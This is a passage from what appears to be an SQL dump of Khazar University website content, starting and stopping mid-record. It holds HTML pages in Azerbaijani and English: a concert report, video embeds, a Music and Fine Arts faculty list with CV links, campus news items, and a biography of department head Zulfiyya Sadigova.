etdi.</p><p>TÜRKSOY-un baş katibi Düsen Kaseinov çıxış edərək, Sərdar Fərəcovun zəngin yaradıcılığından söz açaraq, əsərlərinin türk respublikalarında ifa edildiyini söylədi və TÜRKSOY-un “Azerbaycan, Kazakistan, Kırgizistan, Özbekistan Cumhuriyetlerinin ve Türkmenistanın bağımsızlıklarının 25 Yılı anısına” medalını ona təqdim etdi. Sərdar Fərəcov çıxışında Bəstəkarlar İttifaqının və TÜRKSOU-un rəhbərliyinə təşəkkürünü bildirdi.</p><p>Xalq artisti Gülbacı İmanovanın bədii rəhbərliyi ilə keçən konsertdə bəstəkarın əsərləri Üzeyir Hacıbəyli adına Dövlət Simfonik Orkestri, Azərbaycan Dövlət Xor Kapellası və solistlər tərəfindən ifa edildi. “Koroğlu” simfonik freskası, Şah Xətai simfoniya-dastan, “Cavad xan” baletindən süita, “Qarabağnamə” (tar və simfonik orkestr üçün), Hamlet İsaxanlının sözlərinə yazılmış “İstanbul Boğaz içi” vokal lövhə, “Sentimental vals” (violino və orkestr üçün) və “Sonsuzluq karvanı” oratoriyasından hissələr tamaşaçılara təqdim olundu. Solistlər Xalq artisti, tarzən Ramiz Quliyev, Əməkdar artist Fəridə Məmmədova, Beynəlxalq müsabiqələr laureatı, skripkaçı Zərrin Əliyeva, Xəzər Universitetinin vokal müəllimi Məhsəti Cabbarova və Prezident mükafatçısı İsmayıl Yunisov idi.</p><p>Konsert tamaşaçıların sürəkli alqışları ilə başa çatdı.</p>'),(1028,653,'az','Qalereya','Qalereya',''),(1029,653,'en','Gallery','Gallery','<div><br></div><div><br></div>'),(1030,656,'en',' Photos',' Photos',''),(1031,656,'az','Şəkillər','Şəkillər',''),(1032,657,'en','Videos','Videos','<br><iframe width=\"480\" height=\"390\" src=\"http://www.youtube.com/embed/1Efc8YdTJJY\" frameborder=\"0\"></iframe><p>&nbsp;</p><hr><p>&nbsp;</p><p><iframe width=\"480\" height=\"390\" src=\"http://www.youtube.com/embed/XOpZwrhEkvw\" frameborder=\"0\"></iframe></p><p>&nbsp;</p>'),(1033,657,'az',' Videolar',' Videolar','<br><iframe width=\"420\" height=\"315\" src=\"https://www.youtube.com/embed/1Efc8YdTJJY\" frameborder=\"0\"></iframe><p><strong></strong></p><p><br></p><p><br></p> <iframe width=\"420\" height=\"315\" src=\"https://www.youtube.com/embed/XOpZwrhEkvw\" frameborder=\"0\"></iframe><p><strong></strong></p>'),(1034,658,'en','Faculty and Staff','Faculty and Staff','<p><img src=\"/files/image/13_05_16_music.PNG\" style=\"width:200px;height:100px;margin:7px;float:left\"><br></p>\r\n<p><strong>&nbsp;THE FACULTY AND STAFF OF THE DEPARTMENT OF MUSIC AND FINE ARTS CONSISTS OF THE FOLLOWING MEMBERS:</strong>&nbsp; &nbsp; &nbsp;&nbsp;</p>  <p><br></p>\r\n<p><br></p>\r\n<p><img src=\"/files/music_depart/images/zulfiyya_sadigova.jpg\" style=\"width:150px;height:150px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\"><a href=\"http://www.khazar.org/en/menus/625/zulfiyya_sadigova\"><strong>Zulfiyya</strong><strong>&nbsp; Sadigova<br></strong></a></p><p><br></p>\r\n<p><br></p><p><br></p><p><br></p><p><img src=\"http://www.khazar.org/files/image/afaq-6.jpg\" style=\"width:150px;height:172px;margin:7px;float:left\"><a href=\"http://www.khazar.org/en/menus/626/afaq_karimova\"><strong>Afaq</strong><strong>&nbsp;Karimova<br></strong></a></p><p><a href=\"http://www.khazar.org/en/menus/626/afaq_karimova\"><strong><br></strong></a></p><p><a href=\"http://www.khazar.org/en/menus/626/afaq_karimova\"><strong><br></strong></a></p><p><a href=\"http://www.khazar.org/en/menus/626/afaq_karimova\"><strong><br></strong></a></p><p><a href=\"http://www.khazar.org/en/menus/626/afaq_karimova\"><strong><br></strong></a></p><p><a href=\"http://www.khazar.org/en/menus/626/afaq_karimova\"><strong><br></strong></a></p><p><a href=\"http://www.khazar.org/en/menus/626/afaq_karimova\"><img src=\"http://www.khazar.org/files/image/13_05_17_arif.jpg\" style=\"width:150px;height:194px;margin:7px;float:left\"></a><a href=\"http://www.khazar.org/en/menus/627/arif_babayev\"><strong>Arif</strong><strong>&nbsp;Babaye</strong>v<br></a></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><img src=\"http://www.khazar.org/files/image/14_02_11_fidan_haciyeva.jpg\" style=\"border:0px #000000;width:150px;height:223px;margin:7px;float:left\"><strong><a href=\"http://www.khazar.org/en/menus/630/fidan_haciyeva\">Fidan&nbsp;</a></strong><strong><a href=\"http://www.khazar.org/en/menus/630/fidan_haciyeva\">Haciyeva<br></a></strong></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><img src=\"http://www.khazar.org/files/image/14_09_30_Khuraman.jpg\" style=\"border:0px #000000;width:150px;height:238px;margin:7px;float:left\"><strong><a href=\"http://www.khazar.org/en/menus/632/khuraman_mammadova\">Khuraman</a></strong><strong><a href=\"http://www.khazar.org/en/menus/632/khuraman_mammadova\">&nbsp; Mammadova<br></a></strong></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><img src=\"http://www.khazar.org/files/image/13_05_17_mirnazim.jpg\" style=\"border:0px #000000;width:150px;height:192px;margin:7px;float:left\"><a href=\"http://www.khazar.org/en/menus/629/mirnazim_asadullayev\"><strong>Mirnazim</strong><strong>&nbsp; Asadullayev<br></strong></a></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><img src=\"http://www.khazar.org/files/image/13_05_17_mehseti.JPG\" style=\"border:0px #000000;width:150px;height:174px;margin:7px;float:left\"><a href=\"http://www.khazar.org/en/menus/628/mehseti_jabbarova\"><strong>Mehset&nbsp;</strong><strong>Jabbarova</strong><br></a></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><img src=\"http://www.khazar.org/files/image/TELMAN%20ELIYEV.JPG\" style=\"border:0px #000000;width:150px;height:182px;margin:7px;float:left\"><a href=\"http://www.khazar.org/en/menus/634/telman_aliyev\"><strong>Telman</strong><strong>&nbsp; Aliyev<br></strong></a></p><p><a href=\"http://www.khazar.org/en/menus/634/telman_aliyev\"><strong><br></strong></a></p><p><a href=\"http://www.khazar.org/en/menus/634/telman_aliyev\"><strong><br></strong></a></p><p><a href=\"http://www.khazar.org/en/menus/634/telman_aliyev\"><strong><br></strong></a></p><p><a href=\"http://www.khazar.org/en/menus/634/telman_aliyev\"><strong><br></strong></a></p><p><a href=\"http://www.khazar.org/en/menus/633/_ramin_rzayev\"><br><img src=\"http://www.khazar.org/files/image/13_05_17_ramin.jpg\" style=\"border:0px #000000;width:150px;height:185px;margin:7px;float:left\"><strong></strong><strong>Ramin Rzayev<br></strong></a></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><img src=\"http://www.khazar.org/files/image/SEBNE%20MINASAZVA.jpg\" style=\"border:0px #000000;width:150px;height:127px;margin:7px;float:left\"><a href=\"http://www.khazar.org/en/menus/631/sabina_minasazova\"><strong>Sabina&nbsp;&nbsp;</strong><strong>Minasazova<br></strong></a></p><p><br></p><p><br></p><p><br></p><p><img src=\"http://www.khazar.org/files/image/YEGANE%20AXUNOVA.jpg\" style=\"border:0px #000000;width:150px;height:214px;margin:7px;float:left\"><a href=\"http://www.khazar.org/en/menus/635/_yegana_akhundova\"><strong>Yegana&nbsp;&nbsp;</strong><strong>&nbsp;Akhundova<br></strong></a></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><strong><a href=\"http://www.khazar.org/en/menus/637/munavvar_samedova\"><img src=\"http://www.khazar.org/files/image/13_05_17_munevver.jpg\" style=\"width:150px;height:178px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\"></a></strong><strong><a href=\"http://www.khazar.org/en/menus/637/munavvar_samedova\">Munavvar&nbsp;</a></strong><strong><a href=\"http://www.khazar.org/en/menus/637/munavvar_samedova\">Samedova</a></strong></p><p><strong><a href=\"http://www.khazar.org/en/menus/637/munavvar_samedova\"><br></a></strong></p><p><strong><a href=\"http://www.khazar.org/en/menus/637/munavvar_samedova\"><br></a></strong></p><p><strong><a href=\"http://www.khazar.org/en/menus/637/munavvar_samedova\"><br></a></strong></p><p><strong><a href=\"http://www.khazar.org/en/menus/637/munavvar_samedova\"><br></a></strong></p><p><strong><a href=\"http://www.khazar.org/en/menus/637/munavvar_samedova\"><br></a></strong></p><p><a href=\"http://www.khazar.org/en/menus/637/munavvar_samedova\"><img src=\"http://www.khazar.org/files/image/aydan%2C%2C%2C.JPG\" style=\"width:150px;height:223px;margin:7px;float:left\"><strong></strong></a><strong><a href=\"http://www.khazar.org/files/pdf/Huseynli_Aydan%20_cv.pdf\">Hüseynli &nbsp;</a></strong><strong><a href=\"http://www.khazar.org/files/pdf/Huseynli_Aydan%20_cv.pdf\">Aydan<br></a></strong></p><p><a href=\"http://www.khazar.org/en/menus/637/munavvar_samedova\"><strong></strong></a><strong><a href=\"http://www.khazar.org/files/pdf/Huseynli_Aydan%20_cv.pdf\"><br></a></strong></p><p><a href=\"http://www.khazar.org/en/menus/637/munavvar_samedova\"><strong></strong></a><strong><a href=\"http://www.khazar.org/files/pdf/Huseynli_Aydan%20_cv.pdf\"><br></a></strong></p><p><a href=\"http://www.khazar.org/en/menus/637/munavvar_samedova\"><strong></strong></a><strong><a href=\"http://www.khazar.org/files/pdf/Huseynli_Aydan%20_cv.pdf\"><br></a></strong></p><p><a href=\"http://www.khazar.org/en/menus/637/munavvar_samedova\"><strong></strong></a><strong><a href=\"http://www.khazar.org/files/pdf/Huseynli_Aydan%20_cv.pdf\"><br></a></strong></p><p><a href=\"http://www.khazar.org/en/menus/637/munavvar_samedova\"><strong></strong></a><strong><a href=\"http://www.khazar.org/files/pdf/Huseynli_Aydan%20_cv.pdf\"><br></a></strong></p><p><a href=\"http://www.khazar.org/en/menus/637/munavvar_samedova\"><strong></strong></a><strong><a href=\"http://www.khazar.org/files/pdf/Huseynli_Aydan%20_cv.pdf\"><br></a></strong></p><p><a href=\"http://www.khazar.org/en/menus/637/munavvar_samedova\"><img src=\"http://www.khazar.org/files/image/ilqar....JPG\" style=\"width:150px;height:223px;margin:7px;float:left\"></a><a href=\"http://www.khazar.org/en/menus/637/munavvar_samedova\"></a><a href=\"http://www.khazar.org/files/pdf/Huseynli_Aydan%20_cv.pdf\"><strong></strong></a><strong><a href=\"http://www.khazar.org/files/pdf/Rzayev_Ilqar_cv.pdf\">I</a></strong><strong><a href=\"http://www.khazar.org/files/pdf/Rzayev_Ilqar_cv.pdf\">lgar Rzayev<br></a></strong></p><p><a href=\"http://www.khazar.org/en/menus/637/munavvar_samedova\"></a><a href=\"http://www.khazar.org/files/pdf/Huseynli_Aydan%20_cv.pdf\"><strong></strong></a><strong><a href=\"http://www.khazar.org/files/pdf/Rzayev_Ilqar_cv.pdf\"><br></a></strong></p><p><a href=\"http://www.khazar.org/en/menus/637/munavvar_samedova\"></a><a href=\"http://www.khazar.org/files/pdf/Huseynli_Aydan%20_cv.pdf\"><strong></strong></a><strong><a href=\"http://www.khazar.org/files/pdf/Rzayev_Ilqar_cv.pdf\"><br></a></strong></p><p><a href=\"http://www.khazar.org/en/menus/637/munavvar_samedova\"></a><a href=\"http://www.khazar.org/files/pdf/Huseynli_Aydan%20_cv.pdf\"><strong></strong></a><strong><a href=\"http://www.khazar.org/files/pdf/Rzayev_Ilqar_cv.pdf\"><br></a></strong></p><p><a href=\"http://www.khazar.org/en/menus/637/munavvar_samedova\"></a><a href=\"http://www.khazar.org/files/pdf/Huseynli_Aydan%20_cv.pdf\"><strong></strong></a><strong><a href=\"http://www.khazar.org/files/pdf/Rzayev_Ilqar_cv.pdf\"><br></a></strong></p><p><a href=\"http://www.khazar.org/en/menus/637/munavvar_samedova\"></a><a href=\"http://www.khazar.org/files/pdf/Huseynli_Aydan%20_cv.pdf\"><strong></strong></a><strong><a href=\"http://www.khazar.org/files/pdf/Rzayev_Ilqar_cv.pdf\"><br></a></strong></p><p><a href=\"http://www.khazar.org/en/menus/637/munavvar_samedova\"></a><a href=\"http://www.khazar.org/files/pdf/Huseynli_Aydan%20_cv.pdf\"><strong></strong></a><strong><a href=\"http://www.khazar.org/files/pdf/Rzayev_Ilqar_cv.pdf\"><br></a></strong></p><p><a href=\"http://www.khazar.org/files/pdf/Huseynli_Aydan%20_cv.pdf\"><img src=\"http://www.khazar.org/files/image/ali_ivanov...JPG\" style=\"width:150px;height:100px;margin:7px;float:left\"></a><a href=\"http://www.khazar.org/en/menus/637/munavvar_samedova\"></a><a href=\"http://www.khazar.org/files/pdf/Huseynli_Aydan%20_cv.pdf\"></a><a href=\"http://www.khazar.org/files/pdf/Rzayev_Ilqar_cv.pdf\"><strong></strong></a><strong><a href=\"http://www.khazar.org/files/pdf/Ivanov_Ali_cv.pdf\">Ali</a></strong><strong><a href=\"http://www.khazar.org/files/pdf/Ivanov_Ali_cv.pdf\"> Ivanov<br></a></strong></p><p><a href=\"http://www.khazar.org/en/menus/637/munavvar_samedova\"></a><a href=\"http://www.khazar.org/files/pdf/Huseynli_Aydan%20_cv.pdf\"></a><a href=\"http://www.khazar.org/files/pdf/Rzayev_Ilqar_cv.pdf\"><strong></strong></a><strong><a href=\"http://www.khazar.org/files/pdf/Ivanov_Ali_cv.pdf\"><br></a></strong></p><p><a href=\"http://www.khazar.org/en/menus/637/munavvar_samedova\"></a><a href=\"http://www.khazar.org/files/pdf/Huseynli_Aydan%20_cv.pdf\"></a><a href=\"http://www.khazar.org/files/pdf/Rzayev_Ilqar_cv.pdf\"><strong></strong></a><strong><a href=\"http://www.khazar.org/files/pdf/Ivanov_Ali_cv.pdf\"><br></a></strong></p><p><a href=\"http://www.khazar.org/en/menus/637/munavvar_samedova\"></a><a href=\"http://www.khazar.org/files/pdf/Huseynli_Aydan%20_cv.pdf\"></a><a href=\"http://www.khazar.org/files/pdf/Rzayev_Ilqar_cv.pdf\"><br></a><img src=\"http://www.khazar.org/files/image/aleksandra_ivanova%2C%2C.JPG\" style=\"width:150px;height:223px;margin:7px;float:left\"><strong></strong><strong><a href=\"http://www.khazar.org/files/pdf/Ivanova_Aleksandra_%20cv.pdf\">Aleksandra I</a></strong><strong><a href=\"http://www.khazar.org/files/pdf/Ivanova_Aleksandra_%20cv.pdf\">vanova<br></a></strong></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><strong><a href=\"http://www.khazar.org/files/pdf/Rzayeva%20N%23U0259srin%20cv.doc\"><img src=\"http://www.khazar.org/files/image/nezrin_rzayeva...JPG\" style=\"width:150px;height:100px;margin:7px;float:left\">Nasrin</a></strong><a href=\"http://www.khazar.org/files/pdf/Rzayeva%20N%23U0259srin%20cv.doc\">&nbsp;</a><strong><a href=\"http://www.khazar.org/files/pdf/Rzayeva%20N%23U0259srin%20cv.doc\">Rzayeva<br></a></strong></p><p><br></p><p><br></p><p><br></p><p><strong><a href=\"http://www.khazar.org/files/pdf/Elxan%20H%23U0259ziyev%20%20cv.doc\"><img src=\"http://www.khazar.org/files/image/elxan_heziyev.JPG\" style=\"width:150px;height:227px;margin:7px;float:left\">Elkhan</a></strong><strong><a href=\"http://www.khazar.org/files/pdf/Elxan%20H%23U0259ziyev%20%20cv.doc\">&nbsp;Haziyev<br></a></strong></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><strong><a href=\"http://www.khazar.org/files/pdf/F%C9%99rid%20Abasov%20cv.doc\"><img src=\"http://www.khazar.org/files/image/ferid_abbasov...JPG\" style=\"width:150px;height:223px;margin:7px;float:left\"></a></strong><a href=\"http://www.khazar.org/files/pdf/F%23U0259rid%20Abasov%20cv.doc\"><strong>Farid</strong><strong>&nbsp;Abasov<br></strong></a></p><p><br></p><p><br></p><p><br></p><p><br></p><p><a href=\"http://www.khazar.org/files/pdf/P%23U0259rviz%20B%23U0259d%23U0259lov%20%20cv.doc\"><strong><br></strong></a></p><p><a href=\"http://www.khazar.org/files/pdf/P%23U0259rviz%20B%23U0259d%23U0259lov%20%20cv.doc\"><strong><br></strong></a></p><p><strong><a href=\"http://www.khazar.org/files/pdf/P%C9%99rviz%20B%C9%99d%C9%99lov%20%20cv.doc\"><img src=\"http://www.khazar.org/files/image/perviz_bedelov...JPG\" style=\"width:150px;height:227px;margin:7px;float:left\"></a></strong></p><p><a href=\"http://www.khazar.org/files/pdf/P%23U0259rviz%20B%23U0259d%23U0259lov%20%20cv.doc\"><strong>Parviz</strong><strong>&nbsp; Badalov<br></strong></a></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><img src=\"http://www.khazar.org/files/image/raksana_madanova%2C%2C%2C.JPG\" style=\"width:150px;height:223px;margin:7px;float:left\"><strong><a href=\"http://www.khazar.org/files/pdf/Reksane_Madanova_cv.pdf\">Raksana</a></strong><strong><a href=\"http://www.khazar.org/files/pdf/Reksane_Madanova_cv.pdf\"> Madanova<br></a></strong></p><p><br></p><p><br></p><strong></strong>'),(4465,2646,'az','SAM jurnalın təqdimatını keçirəcək','2017-ci il noyabrın 24-ü saat 16:00-da Xəzər Universitetində (otaq 503 Old) Azərbaycan Respublikasının Prezidenti yanında...','<p style=\"text-align:justify\">2017-ci il noyabrın 24-ü saat 16:00-da Xəzər Universitetində (otaq 503 Old) Azərbaycan Respublikasının Prezidenti yanında <em>Strateji Araşdırmalar Mərkəzi</em> (SAM) tərəfindən <em>Caucasus International</em> jurnalının təqdimatı keçiriləcək. Sözügedən jurnal beynəlxalq münasibətlər və xarici siyasətin təhlilinə, o cümlədən iqtisadi, sosial məsələlər üzrə akademik məqalələrin yazılması üçün platforma təklif edir. Qeyd edək ki, məqalələrin nəşrini təşviq etmək üçün məqalə müəlliflərinə qonorar da nəzərdə tutulur.</p><p>Maraqlanan hər kəs jurnalın təqdimatına dəvət olunur.  </p>'),(4466,2647,'az','Xəzər Universitetinin tələbələri və müəllimləri 8-ci Azərbaycan Beynəlxalq Ətraf Mühit Sərgisində oldular','2017-ci il noyabrın 16-da Xəzər Universiteti Coğrafiya və Ətraf mühit departamentinin 1-ci və 4-cü kurs coğrafiya müəllimliyi...','<p style=\"text-align:justify\">2017-ci il noyabrın 16-da Xəzər \r\nUniversiteti Coğrafiya və Ətraf mühit departamentinin 1-ci və 4-cü kurs \r\ncoğrafiya müəllimliyi ixtisasının və İqtisadiyyat və menecment fakültəsinin\r\n 1-ci kurs tələbələri və müəllimləri Bakı Ekspo Mərkəzində “Caspian \r\nEcology” 8-ci Azərbaycan Beynəlxalq Ətraf Mühit Sərgisində oldular. \r\nSərgidə tələbələr GIZ alman şirkətinin stendində sual-cavabda iştirak \r\nedərək müxtəlif hədiyyələr qazandılar.  </p>'),(4467,2648,'az','Fələstin Səfiri Xəzər Universitetində mühazirə ilə çıxış etdi','2017-ci il noyabrın 17-də Xəzər Universiteti Beynəlxalq Təhsil həftəsi (13-17 noyabr) çərçivəsində Beynəlxalq Əlaqələr Şöbəsi...','<p style=\"text-align:left\">2017-ci il noyabrın 17-də Xəzər Universiteti Beynəlxalq Təhsil həftəsi (13-17 noyabr) çərçivəsində Beynəlxalq Əlaqələr Şöbəsi və Siyasi elm və beynəlxalq münasibətlər departamentinin birgə təşkilatçılığı ilə Fələstinin Azərbaycandakı Fövqəladə və Səlahiyyətli səfiri Nasser Abdel Karem Xəzər Universitetinin qonağı oldu.</p><p style=\"text-align:left\">Xəzər Universitetinin rektoru Dr.&nbsp;Hassan Niknafs Fələstinin Azərbaycandakı Fövqəladə və Səlahiyyətli səfiri Nasser Abdel Karemi qəbul etdi. Görüşdə əsasən Fələstinin Azərbaycandakı səfirliyi və Xəzər Universiteti arasında olan əməkdaşlıq müzakirə olundu. Görüşdə həmçinin Beynəlxalq Əlaqələr Şöbəsinin direktoru Turan Cəfərova, Siyasi elm və beynəlxalq münasibətlər departamentinin koordinatoru Elmar Mustafayev və Fələstinin Azərbaycandakı Fövqəladə və Səlahiyyətli səfirinin köməkçisi iştirak edirdilər.</p><p style=\"text-align:left\">Daha sonra Fələstinin Azərbaycandakı Fövqəladə və Səlahiyyətli səfiri Nasser Abdel Karem Siyasi elm və beynəlxalq münasibətlər departamentinin tələbələri üçün “Fələstin üzrə icmal” mövzusunda mühazirə keçirdi. Mühazirədə Azərbaycan və Fələstin arasında ikitərəfli münasibətlər və Yaxın Şərqdə olan vəziyyət haqqında tələbələrə ətraflı məlumat verildi. Siyasi elm və beynəlxalq münasibətlər departamentinin koordinatoru Elmar Mustafayevin moderatorluğu ilə keçirilən müzakirə sual-cavab sessiyası ilə başa çatdı. Görüşdə Beynəlxalq Əlaqələr Şöbəsinin assistenti Elxan Kasimov da iştirak edirdi. Səfir Nasser Abdel Karem dəvətə görə Xəzər Universiteti rəhbərliyinə öz minnətdarlığını bildirdi.  </p>'),(2082,1278,'az','Magistraturada boş qalan yerlərə əlavə qəbul ','2016/2017-ci tədris ili üçün Xəzər universitetinin magistraturada boş qalan yerlərinə qəbul başlamışdır...','<p>2016/2017-ci tədris ili üçün Xəzər universitetinin magistraturada boş\r\n qalan yerlərinə qəbul başlamışdır. Qəbul 6 mart və 5 iyun 2016-cı il \r\ntarixlərində keçirilmiş qəbul imtahanında toplanılmış ballar əsasında \r\nmüsabiqə yolu ilə aparılır.  </p><p>Bakalavrlar boş qalan yerlərə \r\nkeçirilən müsabiqədə iştirak etmək üçün 2016-cı il 08 avqust saat \r\n10:00-dan 14 avqust saat 23:59-dək TQDK-nın internet saytının müvafiq \r\nsəhifəsinə (eservices.tqdk.gov.az/erizemag/ixtisas2) daxil olub, seçdiyi\r\n ixtisaslaşmaların kodlarını “Bakalavrın elektron ixtisaslaşma seçimi \r\nərizəsi”ndə qeyd edib təsdiqləməlidirlər.  </p><p>Boş yerlər olan ixtisasların siyahısı TQDK-nın “Magistr” jurnalının 6-cı sayında dərc olunub.  </p>'),(1035,659,'en','Zulfiyya Sadigova','Zulfiyya Sadigova','<div><br></div><p><strong><img src=\"/files/image/13_05_16_music.PNG\" style=\"width:200px;height:100px;margin:7px;float:left\"><br></strong><strong>THE FACULTY AND STAFF OF THE DEPARTMENT OF MUSIC AND FINE ARTS CONSISTS OF THE FOLLOWING MEMBERS</strong>&nbsp;  <br></p><div><br></div><div><br></div><div><br></div><p><a href=\"http://www.khazar.org/files/image/Zulfiyya-Sadigova%20CV.pdf\"><img src=\"/files/image/13_09_05_EMN_2725.png\" style=\"width:150px;height:142px;margin:7px;float:left\">Zulfiyya-Sadigova</a>&nbsp;<br></p><p>Head of the Department of Music and Fine Arts: Zulfiyya SadigovaZulfiyya Shukur gizi Sadigova was born in Baku. She finished the Music School named after Bulbul with a silver medal in 1990, then earned an honors diploma from the Baku Music Academy named after U. Hajibeyov in 1995 and completed graduate studies at the same Academy in 1998.Zulfiyya Sadigova won a first-place certificate in the “Young Musicians” contest in 1990, and was the national and city winner that year. She won the following awards: a certificate at the “4th Student and Graduate Student Academic Performance Conference” in 1994, a certificate for creative activity in the National Competition for Performers of National Musical Instruments named after famous Mirza Sadig Asadoghlu (Sadikjan) in 1997, a special certificate at the “Issik-Chol Stars” international classical festival held in the Republic of Kyrgyzstan in 2002, and certificates by the Heydar Aliyev Foundation of the Azerbaijan Republic for her participation and performances at celebrations marking the 80th anniversary of Heydar Aliyev’s birth and the 100th anniversary of Mir Jalal Pashayev’s birth. In May of 2011, she was awarded a certificate by the administration of Khazar University for her successful pedagogical activity in training high-quality specialists.&nbsp;She gave several solo concerts with the accompaniment of the Azerbaijan State Philharmonic Symphony Orchestra named after U. Hajibeyov and the Azerbaijan State Philharmonic’s Orchestra of National Musical Instruments named after Muslum Magomayev.She won ribbons and made many solo performances accompanied by the Azerbaijan State Teleradio Broadcasting Company’s Folk Instruments Orchestra named after Sayid Rustamov and the Symphony Orchestra named after Niyazi.She gave a solo concert in 1993 at the Azerbaijan State Art Museum.In 1996 she gave a performance with the accompaniment of the Symphony Orchestra of the Azerbaijan State Opera and Ballet Theater’s named after M. F. Akhundov at an event to celebrate the 70th birthday of well-known pianist Farida Guliyeva, coordinated by Azerbaijan People’s Artist Professor Rauf Abdullayev.In 2000, she gave a solo concert at the German Cultural Center upon the invitation of the German ambassador to Azerbaijan.In 2002, she performed a solo with the accompaniment of folk instruments of the Azerbaijan State Philharmonic at an event coordinated by the Ministry of Culture in honor of the birthday of our great composer Fikrat Amirov.On December 26, 2008, she gave a solo concert at the Azerbiajan State Philharmonic named after Muslum Magomayev with the accompaniment of the Azerbaijan State Symphony Orchestra named after U. Hajibeyov under the direction of Azerbaijan People’s Artist Prof. Rauf Abdullayev. This performance was also a presentation of her CD album.In 1991, Zulfiyya Sadigova gave a solo concert in the Kazakhstan State Conservatory’s chamber hall in Almaty, the Republic of Kazakhstan.In 1997, she participated along with the official group of representatives in the jubilee celebration for world-famous singer Muslum Magomayev in Moscow. In the same year she also participated in the jubilee celebration in London, the capital of Great Britain and the Kingdom of Northern Ireland, for well-known composer Tofig Guliyev.In 1998 she gave several performances at concerts for Azerbaijan Cultural Days in London.She participated in international festivals in Norway both in 2001 in the city of Stovanger and in 2002 in the city of Bogen.In 2003, she gave performances in concerts in the Islamic Republic of Iran in the cities of Tehran, Tabriz, and Kirvanshah.In 2004 she performed in the concert hall named after S. Rachmaninov in Moscow under the direction of USSR People’s Artist Murat Kazhlayev at an evening dedicated to Heydar Aliyev.In 2006, she participated in an event in celebration of the independence of the Azerbaijan Republic held in the city of Tbilisi in the Republic of Georgia.In 2007, she gave a solo concert in Tbilisi organized by the Embassy of the Azerbaijan Republic.In 2008, she performed in a concert entitled “Baku Nights” in the city of Makhachkala in Dagestan.In 2008, she performed in jubilee celebrations organized by the Heydar Aliyev Foundation in honor of Heydar Aliyev’s 80th and Mir Jalal Pashayev’s 100th birthdays in the city of Bishkek in the Republic of Kyrgyzstan.In November of 2008, she participated in an international festival in Yekaterinburg, Russia.In 2009, she gave a solo concert at an international festival dedicated to the opening of a music school named after Murad Kozhlayev in Makhachkala, Republic of Dagestan.In May of 2011 she performed with a solo program in the Akademia Nazionale di Sonto Cecilia Concert Hall in Rome, Italy.On November 9, 2011, she gave solo concerts in Italy’s cities of Cherveteri and Rome.In April of 2012, she participated in Azerbaijani cultural days in the Italian cities of Rome, Venice, Milan and Turino as organized by the Heydar Aliyev Foundation, the Azerbaijani Embassy to Italy and the Azerbaijan Ministry of Culture and Tourism.On 9 May, 2013 she performed solo concert in FranceOn March 7,&nbsp;2014 &nbsp;she performed solo concerts in London, UK.Zulfiyya Sadigova is also active in education. At present, she is working as the head of the Department of Music and Arts at Khazar University.In May of 2011-2012, she staged a full performance of genius composer Fikrat Amirov’s opera&nbsp;<em>Sevil&nbsp;</em>with Khazar University students performing.  <br></p><div><br></div><div><br></div>'),(1036,659,'az','Zulfiyye Sadiqova','Zulfiyye Sadiqova','<div><br></div><div> <p></p><div style=\"background:undefined \"><br></div><p><strong><img src=\"/files/image/13_05_16_music.PNG\" style=\"width:200px;height:100px;margin:7px;float:left\">MUSİQİ VƏ İNCƏSƏNƏT DEPARTAMENTİNİN PROFESSOR-MÜƏLLİM VƏ İŞÇİ HEYƏTİ AŞAĞIDAKI ÜZVLƏRDƏN İBARƏTDİR</strong><br></p><div style=\"background:undefined \"><br></div><div style=\"background:undefined \"><br></div><div style=\"background:undefined \"><br></div><div style=\"background:undefined \"><br></div><div style=\"background:undefined \"><br></div><div style=\"background:undefined \"><br></div><p><a href=\"http://www.khazar.org/files/image/Zulfiyya-Sadigova%20CV.pdf\"><img src=\"http://www.khazar.org/files/image/13_09_05_EMN_2725.png\" style=\"width:150px;height:142px;margin:7px;float:left\"><strong>Zulfiyya-Sadigova&nbsp;</strong></a><br></p><p><strong>Sadıqova Zülfiyyə</strong>&nbsp;Şükür qızı Bakı şəhərində anadan olmuşdur.&nbsp; 1990-cı ildə Bülbül adına orta ixtisa musiqi məktəbini gümüş medalla, 1995-ci ildə Ü. Hacıbəyov adına Bakı Musiqi Akademiyasını fərqlənmə diplomu ilə, 1998-ci ildə Bakı Musiqi Akademiyasının nəzdində aspiranturanı bitirmişdir.Zülfiyyə Sadıqova 1990-cı ildə “Gənc musiqiçilər” müsabiqəsinin birinci dərəcəli fəxri diplomunu almış, həmin ildə şəhər və respublika baxışlarının qalibi olmuş, 1994-cü ildə “Tələbə və aspirantların IV elmi ifaçılıq konfransı”nın diplomu ilə, 1997-ci ildə görkəmli&nbsp; tarzən Mirzə Sadıq Əsədoğlu (Sadıqcan) adına Xalq Çalğı Alətləri üzrə musiqi ifaçılarının &nbsp;Respublika müsabiqəsində yaradıcılıq fəaliyyətinə görə Fəxri Fərmanla, 2002-ci ildə Qırğızıstan Respublikasında keçirilən “İssık-Çöl ulduzları” gənclər arası Beynəlxalq klassik festivalının xüsusi diplomu ilə, eləcə də 2008-ci ildə Qırğızıstan Respublikasının Bişkek şəhərində Ümumilli liderimiz Heydər Əliyevin 80 illik, akademik Mir Cəlal Paşayevin 100 illik yubleyində fəaliyyət və ifasına görə Qırğızıstan Respublikasında Heydər Əliyev Fondu tərəfindən &nbsp;Fəxri Fərmanla təltif olunmuşdur. 2011-ci ilin may ayında Yüksək ixtisaslı kadrların hazırlanması sahəsində uğurlu pedaqoji fəaliyyətinə görə Xəzər Universitetinin rəhbəliyi tərəfindən Fəxri Fərmanla təltif olunmuşdur.Ü. Hacıbəyov adına Azərbaycan Dövlət Filarmoniyasının simfonik orkestirinin müşayəti ilə, o cümlədən Müslüm Maqomayev adına Azərbaycan dövlət Filarmoniyasının Xalq Çalğı Alətlərini orkestrinin müşayəti ilə bir neçə solo konsertlərdə çıxış etmişdir.&nbsp;Azərbaycan Dövlət Teleradio 